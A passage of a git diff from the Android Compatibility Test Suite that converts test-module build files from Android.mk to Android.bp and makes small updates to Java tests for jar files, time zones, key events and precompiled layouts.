+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
deleted file mode 100644
index de39ac6..0000000
--- a/tests/tests/uidisolation/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt ctstestserver
-
-LOCAL_JAVA_LIBRARIES := \
-    org.apache.http.legacy \
-    android.test.runner.stubs \
-    android.test.base.stubs \
-
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsUidIsolationTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/uirendering/Android.bp b/tests/tests/uirendering/Android.bp
new file mode 100644
index 0000000..bbfeaca
--- /dev/null
+++ b/tests/tests/uirendering/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsUiRenderingTestCases",
+    sdk_version: "test_current",
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "mockito-target-minus-junit4",
+        "androidx.test.rules",
+    ],
+
+    libs: ["android.test.runner.stubs"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
\ No newline at end of file
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
deleted file mode 100644
index d7bfb0b..0000000
--- a/tests/tests/uirendering/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-    ctsdeviceutillegacy-axt \
-    ctstestrunner-axt \
-    mockito-target-minus-junit4 \
-    androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsUiRenderingTestCases
-
-# Enforce public / test api only
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/uirendering/res/drawable/sunset1.jpg b/tests/tests/uirendering/res/drawable/sunset1.jpg
index 92851f3..3b30b36 100644
--- a/tests/tests/uirendering/res/drawable/sunset1.jpg
+++ b/tests/tests/uirendering/res/drawable/sunset1.jpg
Binary files differ
diff --git a/tests/tests/util/Android.bp b/tests/tests/util/Android.bp
new file mode 100644
index 0000000..3533502
--- /dev/null
+++ b/tests/tests/util/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsUtilTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: ["android.test.runner.stubs"],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+}
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
deleted file mode 100644
index 3aadfa1..0000000
--- a/tests/tests/util/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.annotation_annotation \
-    androidx.test.rules \
-    ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsUtilTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
index 8a4a6d4..640b521 100644
--- a/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
+++ b/tests/tests/util/src/android/util/cts/StrictJarFileTest.java
@@ -22,6 +22,8 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.system.ErrnoException;
+import android.system.Os;
 import android.system.OsConstants;
 import android.util.jar.StrictJarFile;
 
@@ -29,19 +31,17 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
-import libcore.io.IoBridge;
-import libcore.io.Streams;
-
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.nio.charset.Charset;
+import java.nio.charset.StandardCharsets;
 import java.util.HashMap;
 import java.util.Iterator;
 import java.util.zip.ZipEntry;
@@ -92,8 +92,8 @@
     @Test
     public void testConstructor_FD() throws Exception {
         copyFile(JAR_1);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, JAR_1).getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         jarFile.close();
     }
@@ -109,8 +109,8 @@
     @Test
     public void testIteration_FD() throws Exception {
         copyFile(JAR_1);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, JAR_1).getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkIteration(jarFile);
     }
@@ -137,8 +137,7 @@
         assertEquals(4, ze.getSize());
         assertEquals(ZipEntry.DEFLATED, ze.getMethod());
         assertEquals(6, ze.getCompressedSize());
-        assertEquals("Blah", new String(Streams.readFully(jarFile.getInputStream(ze)),
-                Charset.forName("UTF-8")));
+        assertEquals("Blah", readUtf8String(jarFile.getInputStream(ze)));
 
         assertTrue(entries.containsKey("foo/"));
         assertTrue(entries.containsKey("foo/bar/"));
@@ -160,8 +159,8 @@
     @Test
     public void testFindEntry_FD() throws Exception {
         copyFile(JAR_1);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, JAR_1).getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkFindEntry(jarFile);
     }
@@ -174,8 +173,7 @@
         assertEquals(4, ze.getSize());
         assertEquals(ZipEntry.DEFLATED, ze.getMethod());
         assertEquals(6, ze.getCompressedSize());
-        assertEquals("Blah", new String(Streams.readFully(jarFile.getInputStream(ze)),
-                Charset.forName("UTF-8")));
+        assertEquals("Blah", readUtf8String(jarFile.getInputStream(ze)));
     }
 
     @Test
@@ -189,8 +187,8 @@
     @Test
     public void testGetManifest_FD() throws Exception {
         copyFile(JAR_1);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, JAR_1).getAbsolutePath(), OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, JAR_1).getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkGetManifest(jarFile);
     }
@@ -212,9 +210,8 @@
     @Test
     public void testJarSigning_wellFormed_FD() throws IOException {
         copyFile("Integrate.jar");
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, "Integrate.jar").getAbsolutePath(),
-                        OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, "Integrate.jar").getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkJarSigning_wellFormed(jarFile);
     }
@@ -242,9 +239,8 @@
     @Test
     public void testJarSigning_fudgedEntry_FD() throws IOException {
         copyFile("Integrate.jar");
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, "Integrate.jar").getAbsolutePath(),
-                        OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, "Integrate.jar").getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkJarSigning_fudgedEntry(jarFile);
     }
@@ -273,9 +269,8 @@
     @Test
     public void testJarSigning_modifiedClass_FD() throws IOException {
         copyFile("Modified_Class.jar");
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, "Modified_Class.jar").getAbsolutePath(),
-                        OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, "Modified_Class.jar").getAbsolutePath());
         StrictJarFile jarFile = new StrictJarFile(fd);
         checkJarSigning_modifiedClass(jarFile);
     }
@@ -341,9 +336,8 @@
 
     private void verifyThrowsOnInitFD(String name) throws Exception {
         copyFile(name);
-        FileDescriptor fd = IoBridge.open(
-                new File(mResourcesFile, name).getAbsolutePath(),
-                        OsConstants.O_RDONLY);
+        FileDescriptor fd = createReadOnlyFileDescriptor(
+                new File(mResourcesFile, name).getAbsolutePath());
         try {
             new StrictJarFile(fd);
             fail();
@@ -351,6 +345,25 @@
         }
     }
 
+    private static FileDescriptor createReadOnlyFileDescriptor(String path) throws IOException {
+        final int mode = 0;
+        try {
+            return Os.open(path, OsConstants.O_RDONLY, mode);
+        } catch (ErrnoException e) {
+            throw new IOException(e);
+        }
+    }
+
+    private static String readUtf8String(InputStream inputStream) throws IOException {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream(128);
+        byte[] readBuffer = new byte[128];
+        int byteCount;
+        while ((byteCount = inputStream.read(readBuffer)) != -1) {
+            baos.write(readBuffer, 0, byteCount);
+        }
+        return new String(baos.toByteArray(), StandardCharsets.UTF_8);
+    }
+
     private File copyFile(String file) {
         File dest = new File(mResourcesFile.toString() + "/" + file);
 
diff --git a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
index 8f9b76d..1068362 100644
--- a/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/TimeUtilsTest.java
@@ -16,6 +16,9 @@
 package android.util.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.util.TimeUtils;
 
@@ -26,6 +29,8 @@
 import org.junit.runner.RunWith;
 
 import java.util.Calendar;
+import java.util.Collection;
+import java.util.List;
 import java.util.TimeZone;
 
 @SmallTest
@@ -143,9 +148,42 @@
         assertFormatDuration("-15542d1h11m11s555ms", -1342833071555L);
     }
 
-    private void assertFormatDuration(String expected, long duration) {
+    private static void assertFormatDuration(String expected, long duration) {
         StringBuilder sb = new StringBuilder();
         TimeUtils.formatDuration(duration, sb);
         assertEquals("formatDuration(" + duration + ")", expected, sb.toString());
     }
+
+    @Test
+    public void testGetTimeZoneIdsForCountryCode() {
+        List<String> usTimeZones = TimeUtils.getTimeZoneIdsForCountryCode("us");
+
+        // Sample the content without being too exact.
+        assertCollectionContains(usTimeZones, "America/Los_Angeles");
+        assertCollectionContains(usTimeZones, "America/New_York");
+
+        // Assert we don't care about casing of the country code.
+        assertEquals(usTimeZones, TimeUtils.getTimeZoneIdsForCountryCode("US"));
+        assertEquals(usTimeZones, TimeUtils.getTimeZoneIdsForCountryCode("uS"));
+        assertEquals(usTimeZones, TimeUtils.getTimeZoneIdsForCountryCode("Us"));
+    }
+
+    @Test
+    public void testGetTimeZoneIdsForCountryCode_unknownCountryCode() {
+        String unknownCountryCode = "zx81";
+        assertNull(TimeUtils.getTimeZoneIdsForCountryCode(unknownCountryCode));
+    }
+
+    @Test
+    public void testGetTimeZoneIdsForCountryCode_nullCountryCode() {
+        try {
+            TimeUtils.getTimeZoneIdsForCountryCode(null);
+            fail();
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    private static <T> void assertCollectionContains(Collection<? super T> collection, T value) {
+        assertTrue(collection + " should contain " + value, collection.contains(value));
+    }
 }
diff --git a/tests/tests/view/jni/Android.bp b/tests/tests/view/jni/Android.bp
new file mode 100644
index 0000000..52c97dd
--- /dev/null
+++ b/tests/tests/view/jni/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+
+    name: "libctsview_jni",
+
+    cflags: ["-Werror"],
+
+    gtest: false,
+
+    srcs: [
+        "CtsViewJniOnLoad.cpp",
+        "android_view_cts_ChoreographerNativeTest.cpp",
+    ],
+
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+    ],
+
+    stl: "libc++_static",
+
+}
diff --git a/tests/tests/view/jni/Android.mk b/tests/tests/view/jni/Android.mk
deleted file mode 100644
index f1aad68..0000000
--- a/tests/tests/view/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsview_jni
-
-LOCAL_CFLAGS += -Werror
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-		CtsViewJniOnLoad.cpp \
-		android_view_cts_ChoreographerNativeTest.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SHARED_LIBRARIES := libandroid libnativehelper_compat_libc++ liblog
-
-LOCAL_CXX_STL := libc++_static
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/view/res/values/styles.xml b/tests/tests/view/res/values/styles.xml
index 17bc2a3..5e47363 100644
--- a/tests/tests/view/res/values/styles.xml
+++ b/tests/tests/view/res/values/styles.xml
@@ -125,8 +125,8 @@
 
     <style name="TestProgressBar">
         <item name="android:indeterminateOnly">false</item>
-        <item name="android:progressDrawable">?android:drawable/progress_horizontal</item>
-        <item name="android:indeterminateDrawable">?android:drawable/progress_horizontal</item>
+        <item name="android:progressDrawable">@android:drawable/progress_horizontal</item>
+        <item name="android:indeterminateDrawable">@android:drawable/progress_horizontal</item>
         <item name="android:minHeight">20dip</item>
         <item name="android:maxHeight">20dip</item>
         <item name="android:focusable">true</item>
diff --git a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
index 478995f..24b2053 100644
--- a/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
+++ b/tests/tests/view/src/android/view/cts/KeyEventInterceptTest.java
@@ -44,9 +44,6 @@
  *      KEYCODE_HOME
  * This test launches an Activity and inject KeyEvents with the corresponding key codes.
  * The test will fail if any of these keys are received by the activity.
- * Note: The ASSIST tests were removed because they caused a side-effect of launching the
- * assistant asynchronously (as intended), which causes problems with tests which happen to
- * be running later and lose focus/visibility because of that extra window.
  */
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -66,6 +63,16 @@
     }
 
     @Test
+    public void testKeyCodeAssist() {
+        testKey(KeyEvent.KEYCODE_ASSIST);
+    }
+
+    @Test
+    public void testKeyCodeVoiceAssist() {
+        testKey(KeyEvent.KEYCODE_VOICE_ASSIST);
+    }
+
+    @Test
     public void testKeyCodeHome() {
         testKey(KeyEvent.KEYCODE_HOME);
     }
diff --git a/tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java b/tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java
new file mode 100644
index 0000000..2bc05d3
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.content.Context;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PrecompiledLayoutTest {
+    private LayoutInflater mInflater;
+
+    @Before
+    public void setup() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        mInflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
+    }
+
+    /**
+     * Check whether two layouts are equivalent. We do this by making sure the
+     * classes match, that they have the same ID, and that ViewGroups have the
+     * same children.
+     */
+    private void assertEquivalentLayouts(View lhs, View rhs) {
+        // Make sure both are null or both are not null.
+        Assert.assertEquals(lhs == null, rhs == null);
+        if (lhs == null) {
+            // If the two objects are null, then they are the same.
+            return;
+        }
+
+        // The two views should have the same class and ID
+        Assert.assertSame(lhs.getClass(), rhs.getClass());
+        Assert.assertEquals(lhs.getId(), rhs.getId());
+
+        // If these are ViewGroups, make sure the children are also equivalent.
+        if (lhs instanceof ViewGroup) {
+            ViewGroup lhsGroup = (ViewGroup) lhs;
+            ViewGroup rhsGroup = (ViewGroup) rhs;
+
+            Assert.assertEquals(lhsGroup.getChildCount(), rhsGroup.getChildCount());
+
+            for (int i = 0; i < lhsGroup.getChildCount(); i++) {
+                assertEquivalentLayouts(lhsGroup.getChildAt(i), rhsGroup.getChildAt(i));
+            }
+        }
+    }
+
+    private void compareInflation(int resourceId) {
+        // Inflate without layout precompilation.
+        mInflater.setPrecompiledLayoutsEnabledForTesting(false);
+        View interpreted = mInflater.inflate(resourceId, null);
+
+        // Inflate with layout precompilation
+        mInflater.setPrecompiledLayoutsEnabledForTesting(true);
+        View precompiled = mInflater.inflate(resourceId, null);
+
+        assertEquivalentLayouts(interpreted, precompiled);
+    }
+
+    // The following tests make sure that we get equivalent layouts when
+    // inflated with and without precompilation.
+
+    @Test
+    public void equivalentInflaterLayout() {
+        compareInflation(R.layout.inflater_layout);
+    }
+
+    @Test
+    public void equivalentInflaterOverrideThemeLayout() {
+        compareInflation(R.layout.inflater_override_theme_layout);
+    }
+
+    @Test
+    public void equivalentInflaterLayoutTags() {
+        compareInflation(R.layout.inflater_layout_tags);
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/PixelCounter.rs b/tests/tests/view/src/android/view/cts/surfacevalidator/PixelCounter.rscript
similarity index 100%
rename from tests/tests/view/src/android/view/cts/surfacevalidator/PixelCounter.rs
rename to tests/tests/view/src/android/view/cts/surfacevalidator/PixelCounter.rscript
diff --git a/tests/tests/voiceinteraction/Android.bp b/tests/tests/voiceinteraction/Android.bp
new file mode 100644
index 0000000..6d95897
--- /dev/null
+++ b/tests/tests/voiceinteraction/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsVoiceInteractionTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "CtsVoiceInteractionCommon",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/voiceinteraction/Android.mk b/tests/tests/voiceinteraction/Android.mk
deleted file mode 100644
index 2af5e9f..0000000
--- a/tests/tests/voiceinteraction/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsVoiceInteractionTestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/voiceinteraction/common/Android.bp b/tests/tests/voiceinteraction/common/Android.bp
new file mode 100644
index 0000000..904dce6
--- /dev/null
+++ b/tests/tests/voiceinteraction/common/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "CtsVoiceInteractionCommon",
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/tests/tests/voiceinteraction/common/Android.mk b/tests/tests/voiceinteraction/common/Android.mk
deleted file mode 100644
index 8b994c9..0000000
--- a/tests/tests/voiceinteraction/common/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsVoiceInteractionCommon
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/voiceinteraction/service/Android.bp b/tests/tests/voiceinteraction/service/Android.bp
new file mode 100644
index 0000000..2ceeef8
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsVoiceInteractionService",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "CtsVoiceInteractionCommon",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/voiceinteraction/service/Android.mk b/tests/tests/voiceinteraction/service/Android.mk
deleted file mode 100644
index f19cf74..0000000
--- a/tests/tests/voiceinteraction/service/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsVoiceInteractionCommon ctstestrunner-axt compatibility-device-util-axt
-
